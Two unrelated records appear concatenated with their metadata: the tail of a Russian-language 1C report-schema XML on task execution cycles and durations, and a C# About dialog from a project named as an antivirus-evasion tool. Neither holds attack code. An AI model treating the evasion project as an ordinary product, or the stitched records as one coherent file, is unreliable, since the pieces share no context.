xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> </dcsset:groupItems> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemAuto"/> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemAuto"/> </dcsset:selection> </dcsset:point> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemAuto"/> </dcsset:selection> </dcsset:item> </dcsset:settings> </settingsVariant> <settingsVariant> <dcsset:name>СтатистикаЦикловВыполненияПроверки</dcsset:name> <dcsset:presentation xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Статистика циклов выполнения-проверки заданий</v8:content> </v8:item> </dcsset:presentation> <dcsset:settings xmlns:style="http://v8.1c.ru/8.1/data/ui/style" xmlns:sys="http://v8.1c.ru/8.1/data/ui/fonts/system" xmlns:web="http://v8.1c.ru/8.1/data/ui/colors/web" xmlns:win="http://v8.1c.ru/8.1/data/ui/colors/windows"> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Автор</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>НомерИтерации</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:filter> <dcsset:item xsi:type="dcsset:FilterItemComparison"> <dcsset:use>false</dcsset:use> <dcsset:left xsi:type="dcscor:Field">Автор</dcsset:left> <dcsset:comparisonType>InList</dcsset:comparisonType> <dcsset:right xsi:type="v8:ValueListType"> <v8:valueType/> <v8:lastId xsi:type="xs:decimal">-1</v8:lastId> </dcsset:right> <dcsset:viewMode>Normal</dcsset:viewMode> <dcsset:userSettingID>6fdad48d-01c3-4ab1-a735-75c785a5ee5d</dcsset:userSettingID> </dcsset:item> </dcsset:filter> <dcsset:dataParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Период</dcscor:parameter> <dcscor:value xsi:type="v8:StandardPeriod"> <v8:variant xsi:type="v8:StandardPeriodVariant">ThisMonth</v8:variant> </dcscor:value> <dcsset:userSettingID>6b152230-c8b4-45df-9ac6-d74c11abd16b</dcsset:userSettingID> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>Завершен</dcscor:parameter> <dcscor:value xsi:type="xs:boolean">true</dcscor:value> <dcsset:userSettingID>473e843f-7589-413e-a475-c28f73cde86b</dcsset:userSettingID> <dcsset:userSettingPresentation xsi:type="xs:string">Только завершенные задания</dcsset:userSettingPresentation> </dcscor:item> </dcsset:dataParameters> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>НомерИтерации</dcsset:field> <dcsset:orderType>Desc</dcsset:orderType> </dcsset:item> </dcsset:order> <dcsset:outputParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ТипДиаграммы</dcscor:parameter> <dcscor:value xsi:type="v8ui:ChartType">Column3D</dcscor:value> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ТипДиаграммы.ВидПодписей</dcscor:parameter> <dcscor:value xsi:type="v8ui:ChartLabelType">Value</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ТипДиаграммы.РасположениеЛегенды</dcscor:parameter> <dcscor:value xsi:type="dcsset:DataCompositionChartLegendPlacement">None</dcscor:value> </dcscor:item> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Заголовок</dcscor:parameter> <dcscor:value xsi:type="xs:string">Среднее количество циклов выполнения-проверки заданий по авторам</dcscor:value> </dcscor:item> </dcsset:outputParameters> <dcsset:item xsi:type="dcsset:StructureItemChart"> <dcsset:point> <dcsset:groupItems> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>Автор</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> </dcsset:groupItems> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemAuto"/> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemAuto"/> </dcsset:selection> <dcsset:outputParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>КоличествоЗаписей</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">10</dcscor:value> </dcscor:item> </dcsset:outputParameters> </dcsset:point> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>НомерИтерации</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:outputParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Заголовок</dcscor:parameter> <dcscor:value xsi:type="xs:string">Топ 10 авторов по среднему количеству циклов выполнения-проверки заданий</dcscor:value> </dcscor:item> </dcsset:outputParameters> </dcsset:item> <dcsset:item xsi:type="dcsset:StructureItemGroup"> <dcsset:groupItems> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>Автор</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> </dcsset:groupItems> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemAuto"/> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Автор</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>НомерИтерации</dcsset:field> <dcsset:title>Среднее количество циклов</dcsset:title> </dcsset:item> </dcsset:selection> <dcsset:conditionalAppearance> <dcsset:item> <dcsset:selection> <dcsset:item> <dcsset:field>НомерИтерации</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:filter/> <dcsset:appearance> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Формат</dcscor:parameter> <dcscor:value xsi:type="xs:string">ЧЦ=5; ЧДЦ=1</dcscor:value> </dcscor:item> </dcsset:appearance> </dcsset:item> </dcsset:conditionalAppearance> <dcsset:outputParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Заголовок</dcscor:parameter> <dcscor:value xsi:type="xs:string">Полный список </dcscor:value> </dcscor:item> </dcsset:outputParameters> </dcsset:item> </dcsset:settings> </settingsVariant> <settingsVariant> <dcsset:name>СтатистикаДлительности</dcsset:name> <dcsset:presentation xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Средняя длительность выполнения заданий</v8:content> </v8:item> </dcsset:presentation> <dcsset:settings xmlns:style="http://v8.1c.ru/8.1/data/ui/style" xmlns:sys="http://v8.1c.ru/8.1/data/ui/fonts/system" xmlns:web="http://v8.1c.ru/8.1/data/ui/colors/web" xmlns:win="http://v8.1c.ru/8.1/data/ui/colors/windows"> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Длительность</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:filter> <dcsset:item xsi:type="dcsset:FilterItemComparison"> <dcsset:left xsi:type="dcscor:Field">Завершен</dcsset:left> <dcsset:comparisonType>Equal</dcsset:comparisonType> <dcsset:right xsi:type="xs:boolean">true</dcsset:right> <dcsset:viewMode>Inaccessible</dcsset:viewMode> </dcsset:item> <dcsset:item xsi:type="dcsset:FilterItemComparison"> <dcsset:use>false</dcsset:use> <dcsset:left xsi:type="dcscor:Field">Автор</dcsset:left> <dcsset:comparisonType>InList</dcsset:comparisonType> <dcsset:right xsi:type="v8:ValueListType"> <v8:valueType/> <v8:lastId xsi:type="xs:decimal">-1</v8:lastId> </dcsset:right> <dcsset:viewMode>Normal</dcsset:viewMode> <dcsset:userSettingID>35df2a2a-907c-415d-b1a9-6d92531a2727</dcsset:userSettingID> </dcsset:item> </dcsset:filter> <dcsset:dataParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Период</dcscor:parameter> <dcscor:value xsi:type="v8:StandardPeriod"> <v8:variant xsi:type="v8:StandardPeriodVariant">ThisMonth</v8:variant> </dcscor:value> <dcsset:userSettingID>38079913-6795-44c3-b6f9-d84f1aa5bb62</dcsset:userSettingID> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>Завершен</dcscor:parameter> <dcscor:value xsi:type="xs:boolean">true</dcscor:value> <dcsset:viewMode>Inaccessible</dcsset:viewMode> <dcsset:userSettingID>2dc8ac90-b103-48cb-92d1-48bb72df5e73</dcsset:userSettingID> <dcsset:userSettingPresentation xsi:type="xs:string">Только завершенные задания</dcsset:userSettingPresentation> </dcscor:item> </dcsset:dataParameters> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemField"> <dcsset:field>Длительность</dcsset:field> <dcsset:orderType>Desc</dcsset:orderType> </dcsset:item> </dcsset:order> <dcsset:outputParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ТипДиаграммы</dcscor:parameter> <dcscor:value xsi:type="v8ui:ChartType">Column3D</dcscor:value> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ТипДиаграммы.РасположениеЛегенды</dcscor:parameter> <dcscor:value xsi:type="dcsset:DataCompositionChartLegendPlacement">None</dcscor:value> </dcscor:item> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Заголовок</dcscor:parameter> <dcscor:value xsi:type="xs:string">Средняя продолжительность выполнения заданий</dcscor:value> </dcscor:item> </dcsset:outputParameters> <dcsset:item xsi:type="dcsset:StructureItemChart"> <dcsset:point> <dcsset:groupItems> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>Автор</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> </dcsset:groupItems> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemAuto"/> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemAuto"/> </dcsset:selection> <dcsset:outputParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>КоличествоЗаписей</dcscor:parameter> <dcscor:value xsi:type="xs:decimal">10</dcscor:value> </dcscor:item> </dcsset:outputParameters> </dcsset:point> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Длительность</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:outputParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:use>false</dcscor:use> <dcscor:parameter>ТипДиаграммы</dcscor:parameter> <dcscor:value xsi:type="v8ui:ChartType">Column3D</dcscor:value> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ТипДиаграммы.ВидПодписей</dcscor:parameter> <dcscor:value xsi:type="v8ui:ChartLabelType">Value</dcscor:value> </dcscor:item> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Заголовок</dcscor:parameter> <dcscor:value xsi:type="xs:string">Топ 10 авторов</dcscor:value> </dcscor:item> </dcsset:outputParameters> </dcsset:item> <dcsset:item xsi:type="dcsset:StructureItemGroup"> <dcsset:groupItems> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>Автор</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> </dcsset:groupItems> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemAuto"/> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Автор</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Длительность</dcsset:field> <dcsset:title>Средняя длительность (в днях)</dcsset:title> </dcsset:item> </dcsset:selection> <dcsset:outputParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>РасположениеИтогов</dcscor:parameter> <dcscor:value xsi:type="dcscor:DataCompositionTotalPlacement">Auto</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ВертикальноеРасположениеОбщихИтогов</dcscor:parameter> <dcscor:value xsi:type="dcscor:DataCompositionTotalPlacement">None</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Заголовок</dcscor:parameter> <dcscor:value xsi:type="xs:string">Полный список</dcscor:value> </dcscor:item> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>ВыводитьОтбор</dcscor:parameter> <dcscor:value xsi:type="dcsset:DataCompositionTextOutputType">DontOutput</dcscor:value> </dcscor:item> </dcsset:outputParameters> <dcsset:viewMode>Normal</dcsset:viewMode> <dcsset:userSettingID>641ce35b-cb85-4c9d-972a-19eb7e96e9af</dcsset:userSettingID> <dcsset:userSettingPresentation xsi:type="xs:string">Список средней продолжительности по авторам</dcsset:userSettingPresentation> </dcsset:item> </dcsset:settings> </settingsVariant> </DataCompositionSchema>
37,759
Template
xml
ru
xml
data
{"qsc_code_num_words": 4187, "qsc_code_num_chars": 37759.0, "qsc_code_mean_word_length": 6.3040363, "qsc_code_frac_words_unique": 0.08000955, "qsc_code_frac_chars_top_2grams": 0.06179201, "qsc_code_frac_chars_top_3grams": 0.05220686, "qsc_code_frac_chars_top_4grams": 0.06440614, "qsc_code_frac_chars_dupe_5grams": 0.85220686, "qsc_code_frac_chars_dupe_6grams": 0.84262171, "qsc_code_frac_chars_dupe_7grams": 0.82595188, "qsc_code_frac_chars_dupe_8grams": 0.79674181, "qsc_code_frac_chars_dupe_9grams": 0.78022353, "qsc_code_frac_chars_dupe_10grams": 0.7719265, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02547417, "qsc_code_frac_chars_whitespace": 0.14126433, "qsc_code_size_file_byte": 37759.0, "qsc_code_num_lines": 962.0, "qsc_code_num_chars_line_max": 461.0, "qsc_code_num_chars_line_mean": 39.25051975, "qsc_code_frac_chars_alphabet": 0.78852737, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 1.0, "qsc_code_frac_lines_dupe_lines": 0.81288981, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.002079, "qsc_code_frac_chars_string_length": 0.15310257, "qsc_code_frac_chars_long_word_length": 0.08096083, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 1, "qsc_code_mean_word_length": 0, "qsc_code_frac_words_unique": 1, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 1, "qsc_code_frac_chars_dupe_6grams": 1, "qsc_code_frac_chars_dupe_7grams": 1, "qsc_code_frac_chars_dupe_8grams": 1, "qsc_code_frac_chars_dupe_9grams": 1, "qsc_code_frac_chars_dupe_10grams": 1, "qsc_code_frac_lines_dupe_lines": 1, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 1, "qsc_code_cate_autogen": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0}
1y0n/AV_Evasion_Tool
掩日2.0/AboutBox1.cs
using System; using System.Collections.Generic; using System.ComponentModel; using System.Drawing; using System.Linq; using System.Reflection; using System.Windows.Forms; namespace 掩日2._0 { partial class AboutBox1 : Form { public AboutBox1() { InitializeComponent(); this.Text = String.Format("关于"); this.labelProductName.Text = AssemblyTitle; this.labelVersion.Text = String.Format("版本 {0}", AssemblyVersion); this.labelCopyright.Text = @"遵循 MIT协议 © 1y0n.com"; this.labelCompanyName.Text = AssemblyCompany; this.textBoxDescription.Text = "Github主页:\r\nhttps://github.com/1y0n/AV_Evasion_Tool\r\n\r\n博客:\r\nhttps://1y0n.com" + "\r\n\r\n邮箱:\r\nBoot.Root.Loot@gmail.com"; } #region 程序集特性访问器 public string AssemblyTitle { get { object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyTitleAttribute), false); if (attributes.Length > 0) { AssemblyTitleAttribute titleAttribute = (AssemblyTitleAttribute)attributes[0]; if (titleAttribute.Title != "") { return titleAttribute.Title; } } return System.IO.Path.GetFileNameWithoutExtension(Assembly.GetExecutingAssembly().CodeBase); } } public string AssemblyVersion { get { return Assembly.GetExecutingAssembly().GetName().Version.ToString(); } } public string AssemblyDescription { get { object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyDescriptionAttribute), false); if (attributes.Length == 0) { return ""; } return ((AssemblyDescriptionAttribute)attributes[0]).Description; } } public string AssemblyProduct { get { object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyProductAttribute), false); if (attributes.Length == 0) { return ""; } return ((AssemblyProductAttribute)attributes[0]).Product; } } public string AssemblyCopyright { get { object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyCopyrightAttribute), false); if (attributes.Length == 0) { return ""; } return ((AssemblyCopyrightAttribute)attributes[0]).Copyright; } } public string AssemblyCompany { get { object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyCompanyAttribute), false); if (attributes.Length == 0) { return ""; } return ((AssemblyCompanyAttribute)attributes[0]).Company; } } #endregion private void okButton_Click(object sender, EventArgs e) { this.Close(); } } }
3,529
AboutBox1
cs
en
csharp
code
{"qsc_code_num_words": 238, "qsc_code_num_chars": 3529.0, "qsc_code_mean_word_length": 7.75630252, "qsc_code_frac_words_unique": 0.40336134, "qsc_code_frac_chars_top_2grams": 0.04171181, "qsc_code_frac_chars_top_3grams": 0.05146262, "qsc_code_frac_chars_top_4grams": 0.07313109, "qsc_code_frac_chars_dupe_5grams": 0.28602384, "qsc_code_frac_chars_dupe_6grams": 0.27302275, "qsc_code_frac_chars_dupe_7grams": 0.27302275, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00967742, "qsc_code_frac_chars_whitespace": 0.38509493, "qsc_code_size_file_byte": 3529.0, "qsc_code_num_lines": 110.0, "qsc_code_num_chars_line_max": 136.0, "qsc_code_num_chars_line_mean": 32.08181818, "qsc_code_frac_chars_alphabet": 0.84009217, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.13861386, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.00990099, "qsc_code_frac_chars_string_length": 0.04223356, "qsc_code_frac_chars_long_word_length": 0.01105442, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecsharp_frac_lines_func_ratio": 0.00990099, "qsc_codecsharp_cate_var_zero": 0.0, "qsc_codecsharp_score_lines_no_logic": 0.1980198, "qsc_codecsharp_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecsharp_frac_lines_func_ratio": 0, "qsc_codecsharp_cate_var_zero": 0, "qsc_codecsharp_score_lines_no_logic": 0, "qsc_codecsharp_frac_lines_print": 0}